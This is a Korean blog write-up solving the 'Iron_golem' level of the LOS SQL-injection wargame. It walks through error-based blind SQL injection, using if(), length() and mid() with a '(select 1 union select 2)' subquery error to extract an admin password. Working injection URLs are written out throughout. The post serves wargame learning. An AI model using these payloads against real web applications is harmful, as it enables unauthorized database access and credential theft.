21.Iron_golem 풀이.
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
Sleep이랑 benchmark가 필터링 되어 있다.
Sleep은 쿼리를 초 단위로 지연 시킬 수 O.
Select * from [테이블명] WHERE SLEEP(5)=0;
참조 => https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep
즉, Sleep과 Benchmark가 필터링 되어 있기에 일반적이였던 loading을 통해 PW를 알기는 쉽지 않다.
몇 번 시도를 통해 에러를 감지해야 될 것 같다.
일단 PW 길이를 알아야 하기에 if문과 length를 이용해 길이를 알아본다.
에러가 뜰 거 같기는 한데, 에러 코드를 만들 때에는 실행될 때만 에러가 발생해야 되는 코드가
있어야 하기에 select 1 union select 2를 이용.
즉 PW 길이를 알아본다.
?pw=' or id='admin'and if(length(pw)>100,1,(select 1 union select 2))%23 입력.
서브 쿼리의 반환 값이 1 초과라는 에러 메시지가 뜬다.
일단 이 문구를 통해 length(pw) <= 100이라는 것을 알 수 있다.
왜냐하면 100으로 했을 때 저 문구가 나왔기 때문에 즉 length(pw)>99를 입력했을 때
에러 메시지가 출력되지 않는다면, PW의 길이는 100.
Select 1 union select 2를 이용해 에러를 내면서 몇 번 시도 후 PW의 길이는 16인 것을 알 수 있다.
?pw=%27%20or%20if((select%20id=%27admin%27%20and%20length(pw)=16),true,(select%201%20union%20select%202))%23%22
=> 조건이 FALSE일 때 상태를 알 수 있고, Error면 다 해당 되는 것이 아니라 or 조건을 만났을 때 Error가 떠야 된다.
?pw=%27%20or%20if((select%20id=%27admin%27%20and%20LENGTH(mid(pw,1,1))=4),true,(select%201%20union%20select%202))%23
MAX 16Byte이고 한 글자당 4byte니까 4글자라는 것을 알 수 O.
결국 진짜 PW는 4글자이고 나머지 12글자는 NULL 값이라는 것을 알 수 O.
PW는 !!!!이라는 것을 알 수 O.
Cf) Xavis 문제의 약간의 형식이 바뀐 문제인 것 같다.
'# Related site issues > LOS' 카테고리의 다른 글
22.Dark_Eyes. (0) | 2018.05.14 |
---|---|
20.Dragon. (0) | 2018.05.09 |
19.Xavis. (0) | 2018.05.09 |
18.Nightmare. (0) | 2018.05.08 |
17.Succubus. (0) | 2018.05.08 |